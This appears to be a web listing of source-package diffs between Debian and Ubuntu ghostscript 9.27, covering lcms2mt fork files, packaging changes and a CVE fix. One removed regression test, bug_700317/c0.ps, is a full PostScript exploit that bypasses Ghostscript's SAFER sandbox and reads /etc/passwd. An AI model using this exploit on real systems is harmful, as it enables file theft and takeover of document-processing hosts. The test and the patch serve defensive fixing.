Top: %8.2f; Bottom: %8.2f\n", ++ size->left, size->right, size->top, size->bottom); ++ dmprintf4(pdev->memory, "DEBUG2: Size mismatch: Long Edge (%8.2f): %8.2f; Short Edge (%8.2f): %8.2f\n", ++ LONG_EDGE_LENGTH_MATCH_LIMIT, long_edge_mismatch, ++ SHORT_EDGE_LENGTH_MATCH_LIMIT, short_edge_mismatch); ++ dmprintf3(pdev->memory, "DEBUG2: Match: Name: %d; Size: %d; Margins: %d\n", ++ name_matched, size_matched, margins_matched); ++ dmprintf2(pdev->memory, "DEBUG2: Score: %ld; Best Score: %ld\n", ++ score, best_score); ++#endif /* CUPS_DEBUG */ + } + + if (best_size)
  6. Download patch lcms2mt/include/lcms2mt.h
  7. Download patch lcms2mt/Projects/VC2010/jpegicc/jpegicc.vcxproj
  8. Download patch lcms2mt/Lib/BC/BC.txt

    --- 9.27~dfsg-3.1/lcms2mt/Lib/BC/BC.txt 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Lib/BC/BC.txt 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1 @@ +BC \ No newline at end of file
  9. Download patch lcms2mt/doc/WhyThisFork.txt

    --- 9.27~dfsg-3.1/lcms2mt/doc/WhyThisFork.txt 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/doc/WhyThisFork.txt 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,151 @@ + LCMS 2.9.MT + =========== + +Why does this fork exist? +~~~~~~~~~~~~~~~~~~~~~~~~~ + +We, Artifex Software, use LCMS 2 in both our Ghostscript and MuPDF +projects. It's a great library that performs well, and does almost +exactly what we want. + +Almost. + +In the course of pulling LCMS 2 into MuPDF, we hit some problems +with the library (described in more detail below). We've changed +the code to fix these problems, and therefore released this +version of the library. + + +Why don't you just pass the changes back to mainline LCMS? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Sadly, the changes we've made require changes to some of the API +to LCMS. We consider these changes to be pretty minor, and to +improve the overall API, but they are unavoidable. + +You can't just drop this version of the library into an existing +project that uses vanilla LCMS and expect it to work. You will +need to make some changes in your code. Small ones, but changes +nonetheless. + +We have offered these changes upstream, with a view to getting +them adopted into mainstream LCMS - perhaps as LCMS 3. Marti +Maria, the original author of LCMS is considering them at the +moment, but no decision has been made. + +Marti has plans of his own for LCMS, so until such time as we +figure out a mutually satisfactory way of working, we're doing +this separate release. + + +So what problem was this intended to solve? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Put simply, we ran into problems with using LCMS in a multi-threaded +environment. + +A few years ago, Marti kindly made some changes within LittleCMS +to enable us to safely use LCMS with Ghostscript when run with +multiple threads. + +Specifically, Ghostscript needed to use different allocators from +each thread. In order to account for this, Marti added the idea +of the 'cmsContext'. These would carry a 'void *UserData' value +that could be retrieved in the allocators. By using a different +cmsContext in each thread, we could therefore pass thread specific +information through LCMS and safely have it reach the allocators. + +In order to make this change without breaking the existing API +Marti added new functions, suffixed with THR, that took these +cmsContext's. + +So where in old lcms we had: + + CMSAPI cmsBool CMSEXPORT cmsPlugin(void* Plugin); + +we now also had: + + CMSAPI cmsBool CMSEXPORT cmsPluginTHR(cmsContext ContextID, void* Plugin); + +Internally within LCMS, the cmsContext values were often stored +within things like profiles and links. For Ghostscript this was +absolutely fine, because we didn't share profiles or links between +different threads. + +For MuPDF, however, this was a significant restriction. MuPDF is +designed as a C level library from which people can build applications. +Data objects are reference counted, and are designed to be able to +be passed around the system as required. It would be almost impossible +to enforce the idea that profiles and links can only be used within +the original thread (cmsContext) within which they were created. +Also new versions of Ghostscript will also share profiles and links +among threads to enhance performance with multi-threaded rendering. + +Lastly, Ghostscript made use of cmsChangeBuffersFormat to switch the +input or output data format (planar, bytes per component, etc.) to +allow a link profile to be re-used without the computation needed to +create a new link profile. Since the input and output format are +stored within the link profile, one thread changing the format while +another thread was using it for color transform would cause problems. + +So what changes have been made? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The changes are very simple and systematic. + +1) Every API function (or at least those that might allocate) now takes +a cmsContext pointer. + +2) cmsContexts are now passed explicitly throughout the system. They +are never stored in any structures. + +3) Accordingly, we have removed the 'THR' API functions (as they no +longer serve any purpose). + +4) We have removed the cmsChangeBuffersFormat function (use of which +could lead to a link profile being changed by one thread while it +was in use by another) and replaced it with a thread safe alternative, +cmsCloneTransformChangingFormats. This creates a new transform that +shares the underlying tables of the original transform, but with +new buffer format handlers. Since the underlying tables for the link +are shared, the cost of cloning the profile is very low. + +In addition, we've made 1 other change that breaks the ABI, but not +the API: + +5) The organisation of the flags word used to describe the format of +input/output pixels has been altered to accommodate more 'extra' +channels (now a maximum of 63 rather than 7). + +Finally: + +6) We have renamed lcms2.h to be lcms2mt.h. + +7) We have tweaked the LCMS_VERSION value (and some of the code +that reads it), to ensure that people don't link binary plugins +expecting other versions against us without an error being given. + + +So what's the plan from here? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Well, at the very least we hope to keep pulling fixes from mainline +LCMS into this version. We (Artifex Software) need to keep it up to +date and secure for our use of the library. + +In the fullness of time we'd love to see these fixes folded back +into a new LCMS release, but this will have to wait for this to be +a convenient time for Marti. + + +So where should we report bugs? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Report bugs to us, by all means, but please also report them to Marti. +He's likely to be in a far better position to evaluate potential +problems and fixes than we are - this is his library after all. +Ideally every problem that gets fixed in mainline LCMS should get +pulled into our version. + +Indeed, to keep this simple, we don't really want to diverge our +version from mainline more than we have to.
  10. Download patch debian/tests/control

    --- 9.27~dfsg-3.1/debian/tests/control 2019-08-13 07:49:11.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/tests/control 1970-01-01 00:00:00.000000000 +0000 @@ -1,3 +0,0 @@ -Test-Command: make -f debian/tests/smoke.mk -Depends: - ghostscript,
  11. Download patch lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/xcuserdata/User.xcuserdatad/xcdebugger/Breakpoints.xcbkptlist

    --- 9.27~dfsg-3.1/lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/xcuserdata/User.xcuserdatad/xcdebugger/Breakpoints.xcbkptlist 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/xcuserdata/User.xcuserdatad/xcdebugger/Breakpoints.xcbkptlist 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,18 @@ +<?xml version="1.0" encoding="UTF-8"?> +<Bucket + type = "1" + version = "1.0"> + <FileBreakpoints> + <FileBreakpoint + shouldBeEnabled = "Yes" + ignoreCount = "0" + continueAfterRunningActions = "No" + filePath = "../../../../../../System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/CommonPanels.framework/Versions/A/Headers/ColorPicker.h" + timestampString = "456920110.796319" + startingColumnNumber = "9223372036854775807" + endingColumnNumber = "9223372036854775807" + startingLineNumber = "4" + endingLineNumber = "4"> + </FileBreakpoint> + </FileBreakpoints> +</Bucket>
  12. Download patch debian/tests/issues/bug_700317/c0.ps

    --- 9.27~dfsg-3.1/debian/tests/issues/bug_700317/c0.ps 2019-08-13 07:49:11.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/tests/issues/bug_700317/c0.ps 1970-01-01 00:00:00.000000000 +0000 @@ -1,70 +0,0 @@ - -% extract .actual_pdfpaintproc operator from pdfdict -/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def - -/exploit { - (Stage 11: Exploitation...) == - - /forceput exch def - - systemdict /SAFER false forceput - systemdict /userparams get /PermitFileControl [(*)] forceput - systemdict /userparams get /PermitFileWriting [(*)] forceput - systemdict /userparams get /PermitFileReading [(*)] forceput - - % All done. - stop -} def - -% setup an error handler to catch ifelse /stackoverflow -errordict /stackoverflow { - (Stage 10: /stackoverflow) == - pop - % extract saved operand stack - 0 get - % get the last parameter - dup dup length 1 sub get - (\tLast Parameter:) ==only dup == - (\tExtracting .forceput...) == - % This is the else operator to ifelse - 5 get - % extract the .forceput - 7 get - (\tResult:) ==only dup == - exploit -} put - -% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some -% executable errays onto the operand stack that contain .forceput, but are not -% marked as executeonly or pseudo-operators. -% -% The routine was attempting to pass them to ifelse, but we can cause that to -% fail because when the routine was declared, it used `bind` but many of the -% names it uses are not operators and so are just looked up in the dictstack. -% -% This means we can push a dict onto the dictstack and control how the routine -% works. -<< - /PDFfile { (Stage 0: PDFfile) == currentfile } - /q { (Stage 1: q) == } % no-op - /oget { (Stage 3: oget) == pop pop 0 } % clear stack - /pdfemptycount { (Stage 4: pdfemptycount) == } % no-op - /gput { (Stage 5: gput) == } % no-op - /resolvestream { (Stage 6: resolvestream) == } % no-op - /pdfopdict { (Stage 7: pdfopdict) == } % no-op - /.pdfruncontext { (Stage 8: .pdfruncontext) == 0 1 mark } % satisfy counttomark and index - /pdfdict { (Stage 9: pdfdict) == - % fill the stack with junk to trigger a /stackoverflow - 0 1 300051 {} for - % make sure .knownget doesnt screw up the stack - << /.Qqwarning_issued true >> - } ->> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop - -(\tShould now have complete control over ghostscript, attempting to read /etc/passwd...) == - -% Demonstrate reading a file we shouldnt have access to. -(/etc/passwd) (r) file dup 64 string readline pop == closefile - -(All Done) == -quit
  13. Download patch lcms2mt/compile
  14. Download patch debian/libgs9-common.install

    --- 9.27~dfsg-3.1/debian/libgs9-common.install 2019-08-13 07:49:11.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/libgs9-common.install 1970-01-01 00:00:00.000000000 +0000 @@ -1 +0,0 @@ -usr/share/color/icc/
  15. Download patch debian/README.source

    --- 9.27~dfsg-3.1/debian/README.source 2019-08-13 07:49:11.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/README.source 2019-08-15 15:31:01.000000000 +0000 @@ -2,7 +2,8 @@ CDBS+git-buildpackage --------------------- This source package uses CDBS and git-buildpackage. NMUs need not (but -are encouraged to) make special use of these tools. +are encouraged to) make special use of these tools. In particular, the +debian/control.in file can be completely ignored. More info here: http://wiki.debian.org/CDBS+git-buildpackage @@ -13,4 +14,4 @@ Maintainers of this source package appre described here: https://wiki.debian.org/LowThresholdNmu - -- Jonas Smedegaard <dr@jones.dk> Fri, 14 Sep 2018 19:09:35 +0200 + -- Jonas Smedegaard <dr@jones.dk> Mon, 18 Feb 2013 12:55:37 +0100
  16. Download patch debian/patches/CVE-2019-14811-CVE-2019-14812-CVE-2019-14813.patch

    --- 9.27~dfsg-3.1/debian/patches/CVE-2019-14811-CVE-2019-14812-CVE-2019-14813.patch 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/patches/CVE-2019-14811-CVE-2019-14812-CVE-2019-14813.patch 2019-09-01 19:16:25.000000000 +0000 @@ -0,0 +1,63 @@ +From 885444fcbe10dc42787ecb76686c8ee4dd33bf33 Mon Sep 17 00:00:00 2001 +From: Ken Sharp <ken.sharp@artifex.com> +Date: Tue, 20 Aug 2019 10:10:28 +0100 +Subject: [PATCH] make .forceput inaccessible + +Bug #701343, #701344, #701345 + +More defensive programming. We don't want people to access .forecput +even though it is no longer sufficient to bypass SAFER. The exploit +in #701343 didn't work anyway because of earlier work to stop the error +handler being used, but nevertheless, prevent access to .forceput from +.setuserparams2. +--- + Resource/Init/gs_lev2.ps | 6 +++--- + Resource/Init/gs_pdfwr.ps | 4 ++-- + 2 files changed, 5 insertions(+), 5 deletions(-) + +diff --git a/Resource/Init/gs_lev2.ps b/Resource/Init/gs_lev2.ps +index 4cc7f820f..0fd416465 100644 +--- a/Resource/Init/gs_lev2.ps ++++ b/Resource/Init/gs_lev2.ps +@@ -158,7 +158,7 @@ end + { + pop pop + } ifelse +- } forall ++ } executeonly forall + % A context switch might have occurred during the above loop, + % causing the interpreter-level parameters to be reset. + % Set them again to the new values. From here on, we are safe, +@@ -229,9 +229,9 @@ end + { pop pop + } + ifelse +- } ++ } executeonly + forall pop +-} .bind odef ++} .bind executeonly odef + + % Initialize the passwords. + % NOTE: the names StartJobPassword and SystemParamsPassword are known to +diff --git a/Resource/Init/gs_pdfwr.ps b/Resource/Init/gs_pdfwr.ps +index c158a8faf..422e66e1a 100644 +--- a/Resource/Init/gs_pdfwr.ps ++++ b/Resource/Init/gs_pdfwr.ps +@@ -658,11 +658,11 @@ currentdict /.pdfmarkparams .undef + systemdict /.pdf_hooked_DSC_Creator //true .forceput + } executeonly if + pop +- } if ++ } executeonly if + } { + pop + } ifelse +- } ++ } executeonly + { + pop + } ifelse +-- +2.17.1 +
  17. Download patch lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/project.pbxproj
  18. Download patch lcms2mt/config.guess
  19. Download patch debian/rules
  20. Download patch lcms2mt/AUTHORS

    --- 9.27~dfsg-3.1/lcms2mt/AUTHORS 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/AUTHORS 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,52 @@ + +Main Author +------------ +Marti Maria + + +Contributors +------------ +Bob Friesenhahn +Kai-Uwe Behrmann +Stuart Nixon +Jordi Vilar +Richard Hughes +Auke Nauta +Chris Evans (Google) +Lorenzo Ridolfi +Robin Watts (Artifex) +Shawn Pedersen +Andrew Brygin +Samuli Suominen +Florian Höch +Aurelien Jarno +Claudiu Cebuc +Michael Vhrel (Artifex) +Michal Cihar +Daniel Kaneider +Mateusz Jurczyk (Google) +Paul Miller +Sébastien Léon +Christian Schmitz +XhmikosR +Stanislav Brabec (SuSe) +Leonhard Gruenschloss (Google) +Patrick Noffke +Christopher James Halse Rogers +John Hein +Thomas Weber (Debian) +Mark Allen +Noel Carboni +Sergei Trofimovic + +Special Thanks +-------------- +Artifex software +AlienSkin software +Jan Morovic +Jos Vernon (WebSupergoo) +Harald Schneider (Maxon) +Christian Albrecht +Dimitrios Anastassakis +Lemke Software +Tim Zaman
  21. Download patch debian/ghostscript.links
  22. Download patch lcms2mt/Projects/VC2010/lcms2mt_static/lcms2mt_static.vcxproj.filters

    --- 9.27~dfsg-3.1/lcms2mt/Projects/VC2010/lcms2mt_static/lcms2mt_static.vcxproj.filters 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/VC2010/lcms2mt_static/lcms2mt_static.vcxproj.filters 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,108 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Header Files"> + <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> + <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> + </Filter> + <Filter Include="Resource Files"> + <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier> + <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav</Extensions> + </Filter> + <Filter Include="Source Files"> + <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> + <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> + </Filter> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\src\cmsalpha.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmscam02.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmscgats.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmscnvrt.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmserr.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsgamma.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsgmt.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsintrp.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsio0.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsio1.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmslut.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsmd5.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsmtrx.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsnamed.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsopt.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmspack.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmspcs.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsplugin.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsps2.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmssamp.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmssm.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmstypes.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsvirt.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmswtpnt.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsxform.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmshalf.c"> + <Filter>Source Files</Filter> + </ClCompile> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\include\lcms2mt.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="..\..\..\include\lcms2mt_plugin.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="..\..\..\src\lcms2_internal.h"> + <Filter>Source Files</Filter> + </ClInclude> + </ItemGroup> +</Project> \ No newline at end of file
  23. Download patch lcms2mt/Projects/VC2010/jpegicc/jpegicc.vcxproj.filters

    --- 9.27~dfsg-3.1/lcms2mt/Projects/VC2010/jpegicc/jpegicc.vcxproj.filters 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/VC2010/jpegicc/jpegicc.vcxproj.filters 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,31 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Header Files"> + <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> + <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> + </Filter> + <Filter Include="Resource Files"> + <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier> + <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav</Extensions> + </Filter> + <Filter Include="Source Files"> + <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> + <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> + </Filter> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\utils\common\vprf.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\utils\common\xgetopt.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\utils\jpgicc\iccjpeg.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\utils\jpgicc\jpgicc.c"> + <Filter>Source Files</Filter> + </ClCompile> + </ItemGroup> +</Project> \ No newline at end of file
  24. Download patch lcms2mt/m4/ax_gcc_func_attribute.m4
  25. Download patch debian/tests/smoke.mk

    --- 9.27~dfsg-3.1/debian/tests/smoke.mk 2019-08-13 07:49:11.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/tests/smoke.mk 1970-01-01 00:00:00.000000000 +0000 @@ -1,12 +0,0 @@ -#!/usr/bin/make -f - -GS ?= gs - -all: cli - -cli: - $(GS) --version \ - | grep --quiet --perl-regexp --regexp '^[\d.]+$$' - $(GS) --help \ - | grep --quiet --fixed-strings --line-regexp \ - --regexp 'Usage: gs [switches] [file1.ps file2.ps ...]'
  26. Download patch lcms2mt/Projects/mac/LittleCMS/TestBed-Info.plist

    --- 9.27~dfsg-3.1/lcms2mt/Projects/mac/LittleCMS/TestBed-Info.plist 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/mac/LittleCMS/TestBed-Info.plist 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>CFBundleDevelopmentRegion</key> + <string>English</string> + <key>CFBundleExecutable</key> + <string>${EXECUTABLE_NAME}</string> + <key>CFBundleIdentifier</key> + <string>com.yourcompany.TestBed</string> + <key>CFBundleInfoDictionaryVersion</key> + <string>6.0</string> + <key>CFBundlePackageType</key> + <string>BNDL</string> + <key>CFBundleSignature</key> + <string>????</string> + <key>CFBundleVersion</key> + <string>1.0</string> + <key>CSResourcesFileMapped</key> + <string>yes</string> +</dict> +</plist>
  27. Download patch lcms2mt/ltmain.sh
  28. Download patch debian/patches/2010_add_build_timestamp_setting.patch

    --- 9.27~dfsg-3.1/debian/patches/2010_add_build_timestamp_setting.patch 2019-08-13 07:49:11.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/patches/2010_add_build_timestamp_setting.patch 2019-08-15 15:31:01.000000000 +0000 @@ -59,15 +59,17 @@ This patch header follows DEP-3: http:// --- a/devices/vector/gdevpdf.c +++ b/devices/vector/gdevpdf.c -@@ -391,6 +391,7 @@ +@@ -391,6 +391,9 @@ */ { struct tm tms; ++#ifndef CLUSTER + long secs_ns[2]; ++#endif time_t t; char buf[1+2+4+2+2+2+2+2+1+2+1+2+1+1+1]; /* (D:yyyymmddhhmmssZhh'mm')\0 */ int timeoffset; -@@ -402,7 +403,8 @@ +@@ -402,7 +405,8 @@ timesign = 'Z'; timeoffset = 0; #else @@ -77,7 +79,7 @@ This patch header follows DEP-3: http:// tms = *gmtime(&t); tms.tm_isdst = -1; timeoffset = (int)difftime(t, mktime(&tms)); /* tz+dst in seconds */ -@@ -446,7 +448,7 @@ +@@ -446,7 +450,7 @@ if (s == NULL) return_error(gs_error_VMerror); pdev->KeyLength = 0; /* Disable encryption. Not so important though. */
  29. Download patch debian/libgs__VER__-common.links.in

    --- 9.27~dfsg-3.1/debian/libgs__VER__-common.links.in 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/libgs__VER__-common.links.in 2019-08-15 15:31:01.000000000 +0000 @@ -0,0 +1,3 @@ +var/lib/ghostscript/CMap usr/share/ghostscript/__ABI__/Resource/CMap +/usr/share/fonts/truetype/droid/DroidSansFallbackFull.ttf /usr/share/ghostscript/__ABI__/Resource/CIDFSubst/DroidSansFallback.ttf +/usr/share/color/icc/ghostscript usr/share/ghostscript/__ABI__/iccprofiles
  30. Download patch lcms2mt/m4/ax_append_compile_flags.m4

    --- 9.27~dfsg-3.1/lcms2mt/m4/ax_append_compile_flags.m4 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/m4/ax_append_compile_flags.m4 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,67 @@ +# =========================================================================== +# http://www.gnu.org/software/autoconf-archive/ax_append_compile_flags.html +# =========================================================================== +# +# SYNOPSIS +# +# AX_APPEND_COMPILE_FLAGS([FLAG1 FLAG2 ...], [FLAGS-VARIABLE], [EXTRA-FLAGS], [INPUT]) +# +# DESCRIPTION +# +# For every FLAG1, FLAG2 it is checked whether the compiler works with the +# flag. If it does, the flag is added FLAGS-VARIABLE +# +# If FLAGS-VARIABLE is not specified, the current language's flags (e.g. +# CFLAGS) is used. During the check the flag is always added to the +# current language's flags. +# +# If EXTRA-FLAGS is defined, it is added to the current language's default +# flags (e.g. CFLAGS) when the check is done. The check is thus made with +# the flags: "CFLAGS EXTRA-FLAGS FLAG". This can for example be used to +# force the compiler to issue an error when a bad flag is given. +# +# INPUT gives an alternative input source to AC_COMPILE_IFELSE. +# +# NOTE: This macro depends on the AX_APPEND_FLAG and +# AX_CHECK_COMPILE_FLAG. Please keep this macro in sync with +# AX_APPEND_LINK_FLAGS. +# +# LICENSE +# +# Copyright (c) 2011 Maarten Bosmans <mkbosmans@gmail.com> +# +# This program is free software: you can redistribute it and/or modify it +# under the terms of the GNU General Public License as published by the +# Free Software Foundation, either version 3 of the License, or (at your +# option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General +# Public License for more details. +# +# You should have received a copy of the GNU General Public License along +# with this program. If not, see <http://www.gnu.org/licenses/>. +# +# As a special exception, the respective Autoconf Macro's copyright owner +# gives unlimited permission to copy, distribute and modify the configure +# scripts that are the output of Autoconf when processing the Macro. You +# need not follow the terms of the GNU General Public License when using +# or distributing such scripts, even though portions of the text of the +# Macro appear in them. The GNU General Public License (GPL) does govern +# all other use of the material that constitutes the Autoconf Macro. +# +# This special exception to the GPL applies to versions of the Autoconf +# Macro released by the Autoconf Archive. When you make and distribute a +# modified version of the Autoconf Macro, you may extend this special +# exception to the GPL to apply to your modified version as well. + +#serial 5 + +AC_DEFUN([AX_APPEND_COMPILE_FLAGS], +[AX_REQUIRE_DEFINED([AX_CHECK_COMPILE_FLAG]) +AX_REQUIRE_DEFINED([AX_APPEND_FLAG]) +for flag in $1; do + AX_CHECK_COMPILE_FLAG([$flag], [AX_APPEND_FLAG([$flag], [$2])], [], [$3], [$4]) +done +])dnl AX_APPEND_COMPILE_FLAGS
  31. Download patch debian/patches/020190825~4e220de_cups_pwgraster_output_device_do_not_output_luts_with_cups_debug_set.patch

    --- 9.27~dfsg-3.1/debian/patches/020190825~4e220de_cups_pwgraster_output_device_do_not_output_luts_with_cups_debug_set.patch 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/patches/020190825~4e220de_cups_pwgraster_output_device_do_not_output_luts_with_cups_debug_set.patch 2019-08-30 10:07:07.000000000 +0000 @@ -0,0 +1,25 @@ +--- a/cups/gdevcups.c ++++ b/cups/gdevcups.c +@@ -4543,18 +4543,18 @@ + + cups->EncodeLUT[i] = j; + +-#ifdef CUPS_DEBUG ++#ifdef CUPS_DEBUG2 + if (i == 0 || cups->EncodeLUT[i] != cups->EncodeLUT[i - 1]) + dmprintf2(pdev->memory, "DEBUG2: cups->EncodeLUT[%d] = %d\n", i, + (int)cups->EncodeLUT[i]); +-#endif /* CUPS_DEBUG */ ++#endif /* CUPS_DEBUG2 */ + } + +-#ifdef CUPS_DEBUG ++#ifdef CUPS_DEBUG2 + dmprintf1(pdev->memory, "DEBUG2: cups->EncodeLUT[0] = %d\n", (int)cups->EncodeLUT[0]); + dmprintf2(pdev->memory, "DEBUG2: cups->EncodeLUT[%d] = %d\n", gx_max_color_value, + (int)cups->EncodeLUT[gx_max_color_value]); +-#endif /* CUPS_DEBUG */ ++#endif /* CUPS_DEBUG2 */ + + for (i = 0; i < cups->color_info.dither_grays; i ++) { + j = i;
  32. Download patch debian/control

    --- 9.27~dfsg-3.1/debian/control 2019-08-13 07:49:11.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/control 2019-08-15 15:31:01.000000000 +0000 @@ -1,58 +1,52 @@ Source: ghostscript Section: text Priority: optional -Maintainer: Debian Printing Team <debian-printing@lists.debian.org> -Build-Depends: +Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com> +XSBC-Original-Maintainer: Debian Printing Team <debian-printing@lists.debian.org> +Build-Depends: cdbs, autoconf, - cdbs, - d-shlibs, debhelper, - dh-linktree, - fonts-urw-base35, - freeglut3-dev, - libcups2-dev, - libcupsimage2-dev, - libexpat-dev, - libfontconfig1-dev, - libfreetype6-dev, - libice-dev, - libidn11-dev, - libijs-dev, - libjbig2dec0-dev (>= 0.15+20190209), + dh-buildinfo, + d-shlibs, libjpeg-dev, - liblcms2-dev, - libopenjp2-7-dev, - libpaper-dev, libpng-dev, - libsm-dev, + libtrio-dev, libtiff-dev, - libx11-dev, - libxext-dev, - libxt-dev, libz-dev, - pkg-config, - rename, -Standards-Version: 4.4.0 -Uploaders: - Jonas Smedegaard <dr@jones.dk>, + libjbig2dec-dev, + libijs-dev, + libexpat-dev, + libxt-dev, + libxext-dev, + libx11-dev, + libice-dev, + libsm-dev, + libfreetype6-dev, + 